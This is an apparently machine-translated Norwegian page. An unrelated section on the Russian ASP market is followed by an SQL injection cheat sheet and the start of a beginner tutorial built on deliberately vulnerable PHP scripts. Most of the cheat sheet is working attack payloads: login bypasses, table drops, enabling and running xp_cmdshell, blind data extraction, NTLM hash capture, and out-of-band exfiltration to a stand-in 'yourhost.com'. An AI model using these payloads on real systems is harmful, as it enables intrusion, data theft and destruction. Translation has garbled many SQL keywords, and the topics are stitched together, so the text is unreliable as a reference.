Programmere påloggingskontrollen. Hvordan kan du utføre kommandoer eksternt ved hjelp av SQL-injeksjon

For øyeblikket kan det ikke sies at det har dannet seg et fullverdig ASP-marked i Russland. Russiske brukere, for det meste, oppfatter fortsatt ikke ASP-konseptet som nyttig for virksomheten deres. For øyeblikket (på tidspunktet for skriving av denne artikkelen) russisk marked Det er ikke et eneste vellykket eksempel på fullskala implementering av ASP-modellen i en stor bedrift. Faktisk er det bare hosting, individuelle implementerte elementer av ASP-modellen, selskaper som ønsker å engasjere seg i ASP-virksomhet, etc. Det vil si at det ikke er noen implementering av den klassiske ASP-modellen i Russland ennå.

Nå på det russiske markedet er ASP-modellen kun aktuelt for personlig tilpassede e-posttjenester (Mail.ru, Beep.ru, Freemail.ru, etc.) og spesialiserte høyteknologiske tjenester (for eksempel banner- og søkemotorer, Internett-statistikksystemer , etc.) . Samtidig betyr leie av posttjenester ikke bare å gi en personlig postkasse til hver enkelt bruker. Gratis e-postservere er mye brukt i bedriftssektoren av små bedrifter og private gründere. Hovedkundene til slike tjenester er selskaper som ønsker å organisere en bedrifts e-posttjeneste (eller automatisere bedriftens dokumentflyt) eller Internett-leverandører (for eksempel portaler Rambler.ru, Yandex.ru, etc.) som ønsker å organisere en gratis web-posttjeneste for sitt publikum.

Det er en viss interesse blant russiske brukere for å leie elektroniske butikker (utstillingsvinduer på en elektronisk handelsplattform). Og dette er ganske forståelig. Siden det fortsatt er svært, veldig få vellykkede eksempler på netthandel i Russland (til tross for de høylytte uttalelsene fra en rekke selskaper om deres imponerende prestasjoner), virker det mest rimelig å bruke en størrelsesorden mindre penger på å leie en elektronisk butikk (enn kjøpe og vedlikeholde den). Hvis prosjektet mislykkes, kan det lukkes ganske raskt og uten vesentlige tap. Utleie av ERP-applikasjoner, som er utbredt i Vesten, er nå i Russland bare på stadiet av pilotprosjekter.

Applikasjonene som tilbys for utleie inkluderer både relativt enkle kontorpakker (som MS Office) og mer komplekse applikasjoner (som Lotus Smart Suite), samt ERP-systemer (som Navision Axapta).

Hovedproblemer og funksjoner i det russiske ASP-markedet.

10.2 Problemer i det russiske markedet.

For øyeblikket ligger det russiske ASP-markedet etter det globale ASP-markedet med minst flere år. Den embryonale tilstanden til det russiske ASP-markedet er forårsaket av en rekke problemer som eksisterer på det. De viktigste av disse problemene er:

1. Den generelle etterslepet til den russiske økonomien fra den vestlige og underutviklingen av den tekniske infrastrukturen til bedrifter. Til nå har de fleste russiske virksomheter opererer på teknisk infrastruktur opprettet for flere tiår siden. Foreløpig er foretakenes investeringer i moderniseringen fortsatt utilstrekkelige. Og her er problemet snarere de økonomiske prioriteringene til bedriftene, fordi ikke alle kan investere de nødvendige midlene i å modernisere den tekniske infrastrukturen. Derfor må de løse sine nåværende problemer ved å bruke den eksisterende infrastrukturen.

2. Lav etterspørsel etter ASP-tjenester. Befolkningen og bedriftskunder er ikke klare (for det meste) til å betale for ASP-tjenester. Mens den gjennomsnittlige russiske forbrukeren nå ganske enkelt har mer presserende og viktige utgiftsprioriteringer, tar bedriftsbrukere ennå ikke ASP-tjenester på alvor.

3.Svakhet ved lovverket for det elektroniske markedet. Inntil en full pakke med lover er vedtatt, er det ikke nødvendig å snakke om utviklingen av det elektroniske markedet (inkludert ASP).

4. Lukket finansiell rapportering av bedriftskunder (spesielt de mest solvente foretakene).

5. Motstand fra IT-avdelinger (både eksplisitt og implisitt) til store selskaper, som må refokusere på andre oppgaver, redusere ansatte og IT-budsjetter mv.

6. Et lite antall applikasjoner som kan brukes i ASP-modellen for russiske virksomheter.

7. Tilstedeværelsen på det russiske arbeidsmarkedet av et ganske stort antall IT-spesialister på inngangsnivå og mellomnivå med relativt lave lønninger. Etter krisen i 1998 holdt det store flertallet av lønningene til IT-spesialister seg på samme nivå etter krisen. Noen ganger er det billigere for små og mellomstore bedrifter å vedlikeholde sine egne IT-tjenester enn å betale for ASP-tjenester (i motsetning til vestlige bedrifter, hvor situasjonen er stikk motsatt).

SQL-injeksjonsjukseark laget for oppsummeringsbeskrivelse tekniske funksjoner forskjellige typer SQL-injeksjonssårbarheter. Artikkelen presenterer funksjonene til SQL-injeksjoner i MySQL, Microsoft SQL Server, ORAKLE Og PostgreSQL.

0. Introduksjon
I denne artikkelen kan du finne detaljert informasjon teknisk informasjon om ulike typer SQL-injeksjoner. Det kan være nyttig for både erfarne spesialister og nykommere innen informasjonssikkerhet.

For øyeblikket inneholder notatet kun informasjon for MySQL, Microsoft SQL Server og noen data for ORACLE og PostgreSQL. Seksjoner inneholder injeksjonssyntaks, forklaringer og eksempler.

Symboler som brukes:
M (MySQL);
S (SQL-server);
O (Oracle);
P (PostgreSQL);
+ (muligens på andre databaser);
* (spesielle betingelser kreves).

1. Linjekommentarer
Kommentarer er generelt nyttige for å ignorere deler av en spørring.
Syntaks:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Eksempel:
Brukernavn: admin" --
Generert spørring: VELG * FRA medlemmer WHERE brukernavn = "admin"--" OG passord = "passord"
Dette vil tillate deg å logge på som admin-bruker, og omgå passordkontrollen.

2. Blokker kommentarer
Med deres hjelp kan du ignorere deler av forespørselen, erstatte mellomrom, omgå svartelister og bestemme databaseversjonen.
Syntaks:
/*Kommentar*/ (SM):
DROP/*kommentar*/sampletable
DR/**/OP/*bypass_blacklist*/sampletbar
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FRA tabellnavn
Dette er en spesiell kommentarsyntaks for MySQL. Den lar deg oppdage MySQL-versjonen. Denne kommentaren vil bare fungere i MySQL
Eksempler:
ID: 10; DROP TABLE medlemmer /*
Vi ignorerer resten av forespørselen, akkurat som en linjekommentar.

ID: /*!32302 10*/
du vil få samme respons som med ID=10 hvis MySQL-versjonen er høyere enn 3.23.02

ID: /*!32302 1/0, */
Generert spørring: SELECT /*!32302 1/0, */ 1 FROM tabellnavn
En divisjon med 0-feil vil oppstå hvis serveren har en MySQL-versjon høyere enn 3.23.02

3. Rekkefølge av forespørsler
Lar deg kjøre mer enn én forespørsel om gangen. Dette er nyttig ved ethvert injeksjonspunkt.


Grønn - støttet; svart - støttes ikke; grå - ukjent.
Syntaks:
; (S): VELG * FRA medlemmer; DROP medlemmer--
En forespørsel ble avsluttet, den neste begynte.
Eksempel:
ID: 10;DROP-medlemmer --
Generert spørring: SELECT * FROM produkter WHERE id = 10; DROP medlemmer--
Denne spørringen vil droppe medlemstabellen etter en normal spørring.

4. Betingede uttalelser
Vi vil motta svar på forespørselen dersom vilkåret er oppfylt. Dette er et av hovedpunktene ved blind injeksjon. De hjelper også til å sjekke enkle ting nøyaktig.
Syntaks:
HVIS(betingelse, sann-del, usann-del) (M): VELG HVIS(1=1,"true","false")
IF condition true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ELLES falsk-del; SLUTT OM; SLUTT; (O): HVIS (1=1) SÅ dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); SLUTT OM; SLUTT;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): VELG CASE NÅR (1=1) SÅ "A" ELLER "B" END;
eksempel:
hvis ((velg bruker) = "sa" ELLER (velg bruker) = "dbo") velg 1 annet velg 1/0 (S)
vil kaste en divisjon med null feil hvis nåværende bruker ikke "sa" eller "dbo".

5. Bruke tall
Brukes til å omgå magic_quotes() og lignende filtre, inkludert WAF.
Syntaks:
0xHEX_NUMBER (SM):
VELG CHAR(0x66) (S)
SELECT 0x5045 (dette er ikke et tall, men en streng) (M)
VELG 0x50 + 0x45 (nå er dette et tall) (M)
Eksempler:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Viser innholdet i filen c:\boot.ini

6. Strengesammenkobling
Strengeoperasjoner kan hjelpe omgå filtre eller identifisere databasen.
Syntaks:
+ (S): VELG innlogging + "-" + passord FRA medlemmer
|| (*MO): VELG pålogging || "-" || passord FRA medlemmer
Fungerer hvis MySQL kjører i ANSI-modus. Ellers vil ikke MySQL godta det som logisk operatør og vil returnere 0. Det er bedre å bruke CONCAT()-funksjonen i MySQL.

CONCAT(str1, str2, str3, …) (M): VELG KONCAT(pålogging, passord) FRA medlemmer

7. Strenger uten anførselstegn
Det er flere måter å unngå å bruke anførselstegn i en spørring, for eksempel å bruke CHAR() (MS) og CONCAT() (M).
Syntaks:
SELECT 0x457578 (M)

MySQL har en enkel måte å representere en streng som en hex-kode:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Returnerer strengen "KLM":
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
VELG CHAR(75)+CHAR(76)+CHAR(77) (S)
VELG CHR(75)||CHR(76)||CHR(77) (O)
VELG (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Konvertering av strenger og tall.
Syntaks:
ASCII() (SMP): VELG ASCII("a")
Returnerer ASCII-koden til tegnet lengst til venstre. Funksjonen brukes til blinde injeksjoner.

CHAR() (SM): VELG CHAR(64)
Oversetter en ASCII-kode til det tilsvarende tegnet.

9. UNION-operatør
Med UNION-operatoren kan du spørre i skjæringspunktet mellom tabeller. I utgangspunktet kan du sende en spørring som returnerer en verdi fra en annen tabell.
Eksempel:
SELECT header, txt FRA nyheter UNION ALL SELECT navn, pass FROM medlemmer
Dette vil slå sammen resultatene fra nyhets- og medlemstabellene

10. Autentiseringsbypass (SMO+)
Eksempler:
admin" --
admin" #
admin"/*
"eller 1=1--
" eller 1=1#
" eller 1=1/*
") eller "1"="1--
") eller ("1"="1--

11. Omgå MD5-autentisering
Hvis applikasjonen først sammenligner brukernavnet og deretter sammenligner md5-hashen til passordet, vil du trenge flere triks for å omgå autentiseringen. Du kan kombinere resultatene med et kjent passord og hash.
Eksempel (MSP):
Brukernavn: admin
Passord: 1234 " OG 1=0 UNION ALLE VELG "admin", "
= MD5(1234)

12. Feilbasert
12.1 Definere kolonner ved å bruke HAVING BY(S)
Eksempel:
I samme rekkefølge
"Å HAR 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnframerror1, column frommerror2 HAVING 1=1 --
" GROUP BY table.columnframerror1, columnframerror2, columnframerror3 HAVING 1=1 –
…………….
Fortsett til du slutter å få feil.

12.2 Bestemme antall kolonner ved å bruke ORDER BY (MSO+)
Å finne antall kolonner ved å bruke ORDER BY kan fremskyndes ved å bruke UNION-injeksjon.
BESTILL INNEN 1--
BESTILL INNEN 2--
BESTILL INNEN 3-
………………..
Fortsett til du får en feilmelding. Dette vil indikere antall kolonner.

13. Datatypedefinisjon
Bruk alltid UNION med ALL.
For å bli kvitt en unødvendig tabelloppføring, bruk -1 på eventuelle ikke-eksisterende verdier i begynnelsen av spørringen (hvis injeksjonen er i WHERE-parameteren). Dette er viktig hvis du bare kan hente én verdi om gangen.
Bruk NULL i UNION-injeksjoner i stedet for å prøve å gjette en streng, dato, tall osv. Men vær forsiktig når du injiserer blindt, fordi... du kan forveksle databasefeilen med selve applikasjonen. Noen språk, for eksempel ASP.NET, gir en feil når du bruker en NULL-verdi (fordi utviklerne ikke forventet å se en null-verdi i brukernavnfeltet)
Eksempler:
" union velg sum(columntofind) fra brukere-- (S):
Hvis du ikke får en feilmelding, er kolonnen numerisk.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL --
Du kan bruke CAST() eller CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Hvis det ikke er noen feil, så er syntaksen riktig, dvs. MS SQL Server brukes.

11223344) UNION VELG 1,NULL,NULL,NULL HVOR 1=2 –-
Hvis det ikke er noen feil, er den første kolonnen et tall.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Hvis det vises en feil, er den andre kolonnen ikke et tall.

11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
Hvis det ikke er noen feil, er den andre kolonnen en streng.
……………..

14. Enkelt innlegg (MSO+)
Eksempel:
"; sett inn i brukerverdier(1, "hax0r", "coolpass", 9)/*

15. Innsamling av informasjon
Syntaks:
@@versjon (MS)
Du kan finne ut databaseversjonen og mer detaljert informasjon.
Eksempel:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@versjon,1,10) ,10)

16. Kompleks innsats (S)
Lar deg sette inn innholdet i en fil i en tabell. Hvis du ikke kjenner den interne banen til nettapplikasjonen, kan du lese IIS-metabasen (kun IIS 6).
Syntaks:
fil(%systemroot%\system32\inetsrv\MetaBase.xml)
Deretter kan du finne søknadsstiene i den.
Eksempel:
1. Lag table foo (strengtype varchar(8000))
2. Sett inn innholdet i filen 'c:\inetpub\wwwroot\login.asp' i tabellen foo
3. Slipp den midlertidige tabellen og gjenta for en annen fil.

17. BCP (S)
Skriver ned tekstfil. Dette krever legitimasjon.
Eksempel:
bcp "SELECT * FROM test..foo" spørring c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH i SQL Server (S)
Du kan bruke VBS, WSH-skript i SQL Server.
Eksempel:
Brukernavn:"; erklær @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Utfør systemkommandoer (S)
Et velkjent triks, funksjonen er deaktivert som standard i SQL Server 2005. Du trenger administratorrettigheter.
Eksempel:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Spesielle tabeller i SQL Server (S)
Eksempler:
Feilmeldinger: master..sysmessages
Koblede servere: master..sysservers
Passord SQL Server 2000: masters..sysxlogins
Passord SQL Server 2005: sys.sql_logins

21. Flere lagrede prosedyrer for SQL Server (S)
Syntaks:
Cmd Execute (xp_cmdshell)
Registerting (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Administrere tjenester (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC-ressurser (xp_enumdsn)
Påloggingsmodus (xp_loginconfig)
Opprette Cab-filer (xp_makecab)
Domeneoppregning (xp_ntsec_enumdomains)
Process Killing (PID kreves) (xp_terminate_process)
Legg til ny prosedyre (sp_addextendedproc)
Skriv tekstfil til en UNC eller en intern bane (sp_makewebtask)
Eksempler:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL-bulknotater
Eksempler:
VELG * FRA master..sysprocesses /*WHERE spid=@@SPID*/
ERKLÆR @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-injeksjon i LIMIT (M) spørringer
Eksempel:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
For å omgå LIMIT-operatøren kan du bruke UNION eller en kommentar.

24. Slå av SQL Server (S)
Eksempel:
";skru av -

25. Aktivering av xp_cmdshell i SQL Server 2005
Syntaks:
Som standard er xp_cmdshell og et par andre potensielt farlige funksjoner deaktivert i SQL Server 2005. Hvis du har administrative rettigheter, kan du aktivere dem.
EXEC sp_configure "vis avanserte alternativer",1
REKONFIGURER
EXEC sp_configure "xp_cmdshell",1
REKONFIGURER

26. Søke etter databasestruktur i SQL Server (S)
Eksempler:
VELG navn FRA sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tabellnavnforkolonnenavn")
Henter kolonnenavn

27. Flytte poster (S)
Eksempler:
... WHERE users NOT IN ("Første bruker", "Andre bruker")
Bruk WHERE med NOT IN eller NOT EXIST

VELG TOP 1 navn FRA medlemmer HVOR IKKE FINNES (VELG TOP 0 navn FRA medlemmer)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Velg p.navn fra (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, navn fra sysobjects o) som p hvor p.x=3) som int

Velg p.navn fra (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" og i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Rask måte å trekke ut data fra feilbasert SQL-injeksjon i SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") OG navn>@rd SELECT @rd AS rd inn i TMP_SYS_TMP slutten;--

29. Søke etter databasestruktur i MySQL (M)
Eksempler:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tabellnavn"
Få tilpassede tabeller

VELG tabellnavn, kolonnenavn FRA informasjonsskjema.kolonner WHERE tabellskjema = "tabellnavn"
Henter kolonnenavn

30. Søke etter databasestruktur i Oracle (O)
Eksempler:
VELG * FRA alle_tabeller WHERE OWNER = "DATABASE_NAME"
Få tilpassede tabeller

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Henter kolonnenavn

31. Blinde injeksjoner
I en kvalitetsapplikasjon vil du ikke kunne se feilmeldinger. Du vil ikke kunne bruke UNION-operatøren og feilbaserte angrep. Du må bruke blind SQL-injeksjon for å trekke ut dataene. Det finnes to typer blinde injeksjoner.
Vanlig blindinjeksjon: du kan ikke se resultatene av forespørsler på siden, men du kan bestemme resultatet fra svaret eller HTTP-status.
Helt blind injeksjon: Du vil ikke se noen forskjell i ytelse.
Ved vanlige blinde injeksjoner kan du bruke IF- og WHERE-utsagn, ved helblinde injeksjoner må du bruke noen ventefunksjoner og sammenligne responstid. For å gjøre dette kan du bruke WAIT FOR DELAY '0:0:10' i SQL Server, BENCHMARK() og sleep(10) i MySQL, pg_sleep(10) i PostgreSQL.
Eksempel:
Dette eksemplet er basert på en virkelighetsoperasjon av blind injeksjon på SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Basert på de to siste spørringene vet vi nøyaktig verdien av det første tegnet i ascii - det er 80. Dette betyr at det første tegnet er "P". På denne måten kan vi finne ut navnene på tabellene og deres innhold. En annen måte er å lese dataene bit for bit.

32. Helt blind injeksjon
Bruk denne metoden kun i tilfelle en virkelig blind injeksjon. Vær forsiktig med ventetider.
Syntaks:
VENT PÅ FORSINKELSE "tid" (S)
Funksjonen venter ganske enkelt på den angitte tiden uten å laste prosessoren.
Eksempler:
if (velg bruker) = "sa" vent på forsinkelse "0:0:10"
ProductID =1;vent på forsinkelse "0:0:10"--
ProductID =1);waitfor delay "0:0:10"--
ProductID =1";vent på forsinkelse "0:0:10"--
ProductID =1"); venteforsinkelse "0:0:10"--
ProductID =1));waitfor delay "0:0:10"--
ProductID =1")); venteforsinkelse "0:0:10"--
Syntaks:
BENCHMARK(hvor mange ganger, gjør dette) (M)
Eksempel:
HVIS FINNES (VELG * FRA brukere WHERE brukernavn = "root") BENCHMARK(1000000000,MD5(1))
Vi sjekker for tilstedeværelsen av rotbrukeren.

HVIS (VELG * FRA pålogging) BENCHMARK(1000000,MD5(1))
Kontrollerer eksistensen av en tabell i MySQL
Syntaks:
pg_sleep(seconds) (P)
Sov i oppgitte sekunder.

søvn (sekunder) (M)
sove i tilførte sekunder.

bms_pipe.receive_message (O)
sove i tilførte sekunder.
Eksempel:
(VELG CASE WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) SLUTT FRA dual)
(INJEKSJON) – din forespørsel.
Hvis betingelsen er sann, vil svaret være 10 sekunder. Ellers vil svaret være 1 sekund.

33. Nyttige MySQL-funksjoner
Syntaks:
MD5()
SHA1()
PASSORD()
KODE()
KOMPRIMERE()
ROW_COUNT()
SCHEMA()
VERSJON()

34. Andre ordens SQL-injeksjoner
Vanligvis vil du sette inn en SQL-injeksjonsspørring i et felt og forvente at den ikke blir filtrert ut.
Eksempel:
Navn: " + (VELG TOP 1-passord FRA brukere) + "
E-post: [e-postbeskyttet]
Hvis applikasjonen bruker feltnavnet til en lagret prosedyre eller funksjon, kan du bruke denne til injeksjon.

35. Bruke SQL Server til å trekke ut NTLM-hasher
Dette angrepet vil hjelpe deg å få Windows-brukerpassordet til målserveren gjennom SQL Server hvis det ikke er tilgang utenfra. Vi kan tvinge SQL Server til å koble til Windows via en UNC-bane og trekke ut NTLM-sesjonen ved å bruke spesialverktøy som Cain & Abel.

Syntaks:
UNC-bane: "\\DIN IPADRESSE\C$\x.txt"
36. Andre eksempler på injeksjoner
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((INJEKSJON))+".dinhost.com\\test.txt"; EXEC master..xp_dirtree @q
oppretter en DNS-spørring til (INJECTION).dinhost.com

(INJEKSJON) - din forespørsel.
MySQL:
?vulnerableParam=-99 ELLER (VELG LOAD_FILE(concat("\\\\",((INJEKSJON)), "dinhost.com\\")))
Oppretter en NBNS/DNS-forespørsel til yourhost.com
?vulnerableParam=-99 ELLER (VELG ((INJEKSJON)) I UTFIL "\\\\dinhost.com\\share\\output.txt")
Skriver data til filen din
(INJEKSJON) - din forespørsel.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FRA DUAL)
Snifferen vil lagre resultatene
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FRA DUAL)
Resultatene vil bli lagret i HTTP-logger
?vulnerableParam=(VELG UTL_INADDR.get_host_addr(((INJEKSJON))||".yourhost.com") FRA DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) FRA DUAL)
Du må analysere DNS-forespørselstrafikk til yourhost.com
(INJEKSJON) - din forespørsel.

Dette materialet er en adaptiv oversettelse av artikkelen SQL Injection Cheat Sheet.

Hilsen, leser. I det siste har jeg vært interessert i nettsikkerhet, og til en viss grad er arbeidet mitt knyttet til dette. Fordi Mer og oftere begynte jeg å legge merke til emner på forskjellige fora som ba dem vise hvordan det hele fungerer, så jeg bestemte meg for å skrive en artikkel. Artikkelen vil rette seg mot de som ikke har vært borti dette, men gjerne vil lære. Det er relativt mange artikler om dette emnet på Internett, men for nybegynnere er de litt kompliserte. Jeg vil prøve å beskrive alt i et klart språk og detaljerte eksempler.

Forord

For å forstå denne artikkelen trenger du egentlig ikke kunnskap om SQL-språket, men i det minste god tålmodighet og litt hjerne for memorering.

Jeg tror at det ikke vil være nok å bare lese artikkelen, fordi... vi trenger levende eksempler - som du vet er øvelse i memoreringsprosessen aldri overflødig. Derfor skal vi skrive sårbare manus og trene på dem.

Hva er SQL-injeksjon?
Enkelt sagt er dette et angrep på databasen, som lar deg utføre en handling som ikke var planlagt av skaperen av skriptet. Eksempel fra livet:

Far skrev i en lapp til moren om å gi Vasya 100 rubler og legge den på bordet. Ved å omarbeide dette til et komisk SQL-språk får vi:
TA 100 RUBLER FRA LOBBEBOKEN DIN OG GI DEM TIL Vasya

Siden faren skrev lappen dårlig (klønete håndskrift) og la den på bordet, så Vasyas bror Petya den. Petya, som er en hacker, la til "OR Pete" der og resultatet var følgende forespørsel:
TA 100 RUBLER FRA LOBBEBOKEN DIN OG GI DEM TIL Vasya ELLER Petya

Mor, etter å ha lest notatet, bestemte seg for at hun ga penger til Vasya i går og ga 100 rubler til Petya. Her er et enkelt eksempel på SQL-injeksjon fra livet:) Uten å filtrere dataene (mor kunne knapt forstå håndskriften), tjente Petya.

Forberedelse
For praksis trenger du et arkiv med kildeskriptene til denne artikkelen. Last den ned og pakk den ut på serveren. Importer også databasen og sett dataene i filen cfg.php

Søk i SQL-injeksjon

Som du allerede har forstått, kommer injeksjonen fra innkommende data som ikke er filtrert. Den vanligste feilen er å ikke filtrere den overførte ID-en. Vel, grovt sett sett anførselstegn i alle felt. Det være seg en GET/POST-forespørsel eller til og med en informasjonskapsel!

Numerisk inndataparameter
For praksis trenger vi et manus index1.php. Som jeg sa ovenfor, setter vi inn sitater i nyhets-IDen.

Fordi Vår forespørsel har ingen filtrering:

$id = $_GET["id"]; $query = "VELG * FRA nyheter WHERE id=$id";

Skriptet vil forstå dette som

VELG * FRA nyheter WHERE id=1"

Og det vil gi oss en feil:
Advarsel: mysql_fetch_array() forventer at parameter 1 er ressurs, boolsk gitt i C:\WebServ\domains\sqlinj\index1.php på linje 16

Hvis feilen ikke vises, kan det være følgende årsaker:

1.SQL-injeksjon er ikke her - sitater filtreres, eller det er bare verdt å konvertere til (int)
2. Feilutgang er deaktivert.

Hvis du fortsatt får en feilmelding - Hurra! Vi fant den første typen SQL-injeksjon - Numerisk inngangsparameter.

Inndataparameter for streng

Vi vil sende forespørsler til index2.php. I denne filen ser forespørselen slik ut:
$bruker = $_GET["bruker"]; $query = "VELG * FRA nyheter WHERE user="$user"";

Her velger vi nyheter etter brukernavn, og igjen filtrerer vi ikke.
Igjen sender vi en forespørsel med et tilbud:

Det ga en feil. OK! Dette betyr at det er en sårbarhet. Til å begynne med er det nok for oss - la oss komme til praksis.

La oss ta grep

Litt teori

Du kan sannsynligvis ikke vente med å få noe ut av dette annet enn feil. Først må du forstå at tegnet " -- " regnes som en kommentar i SQL.

MERK FØLGENDE! Det må være mellomrom før og etter. I URL-en overføres de som %20

Alt som kommer etter kommentaren vil bli forkastet. Det vil si forespørselen:
VELG * FRA nyheter WHERE user="AlexanderPHP" -- habrahabra

Det vil lykkes. Du kan prøve dette på index2.php-skriptet ved å sende en forespørsel som dette:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Lær parameteren UNION. I SQL-språket nøkkelordet UNION brukes til å kombinere resultatene av to SQL-spørringer til en enkelt tabell. Det vil si for å trekke ut noe vi trenger fra et annet bord.

La oss dra nytte av det

Hvis parameteren er "Numerisk", trenger vi ikke å sende et tilbud i forespørselen og naturligvis legge inn en kommentar på slutten. La oss gå tilbake til manuset index1.php.

La oss gå til skriptet sqlinj/index1.php?id=1 UNION SELECT 1 . Vår databasespørring ser slik ut:
VELG * FRA nyheter HVOR id=1 UNION VELG 1
Og han ga oss en feil, fordi... for å jobbe med sammenslåingsspørringer trenger vi samme antall felt.

Fordi Vi kan ikke påvirke nummeret deres i den første forespørselen, da må vi velge nummeret deres i den andre slik at det er lik den første.

Velge antall felter

Å velge felt er veldig enkelt, bare send følgende forespørsler:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Feil…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Feil igjen!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ingen feil! Dette betyr at antall kolonner er 5.

GRUPPE AV
Det hender ofte at det kan være 20 eller 40 eller til og med 60 felt. Slik at vi ikke trenger å sortere gjennom dem hver gang, bruker vi GRUPPE AV

Hvis forespørselen
sqlinj/index1.php?id=1 GRUPPER ETTER 2
viste ingen feil, noe som betyr at antallet felt er mer enn 2. La oss prøve:

Sqlinj/index1.php?id=1 GRUPPER ETTER 8
Op, vi ser en feil, det betyr at antall felt er mindre enn 8.

Hvis det ikke er noen feil med GROUP BY 4, og med GROUP BY 6 er det en feil, så er antallet felt 5

Definere utdatakolonner
For å sikre at ingenting vises til oss fra den første forespørselen, er det nok å erstatte en ikke-eksisterende ID, for eksempel:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


